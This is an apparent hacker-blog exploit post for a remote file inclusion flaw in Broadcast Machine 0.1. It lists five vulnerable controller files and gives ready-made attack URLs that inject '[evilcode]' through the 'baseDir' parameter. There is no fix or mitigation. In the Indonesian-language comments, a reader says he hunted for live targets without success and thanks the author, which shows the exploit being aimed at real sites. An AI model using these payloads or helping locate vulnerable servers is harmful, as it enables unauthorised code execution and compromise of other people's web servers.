Broadcast Machine 0.1 - Multiple RFI


[o]
Broadcast Machine 0.1 Multiple Remote File Inclusion Vulnerability
Software : Broadcast Machine version 0.1
Vendor : http://code.google.com/p/broadcastmachine/
View Source : https://svn.participatoryculture.org/svn/dtv/trunk/bmachine2/

Author : NoGe


[o] Vulnerable file
all file below is affected by "baseDir" parameter
controllers/MySQLController.php
controllers/SQLController.php
controllers/SetupController.php
controllers/VideoController.php
controllers/ViewController.php


[o] Exploit
http://localhost/[path]/controllers/MySQLController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/SQLController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/SetupController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/VideoController.php?baseDir=[evilcode]
http://localhost/[path]/controllers/ViewController.php?baseDir=[evilcode]


3 Responses so far.

  1. TUKULESTO says:

    yang ini gw nyari targetnya setengah mampus nih.. ga kena².. xixiix..

    thanks om noge..

    gw penggemar berat lo..

  2. NoGe says:

    penggemar berad? lolz :p

  3. TUKULESTO says:

    hus.. ktawa,,,

    lol...


    dah ah.. gw tunggu terus update dari lo.. sambil belajar juga cari bugs sendiri,,

    see ya...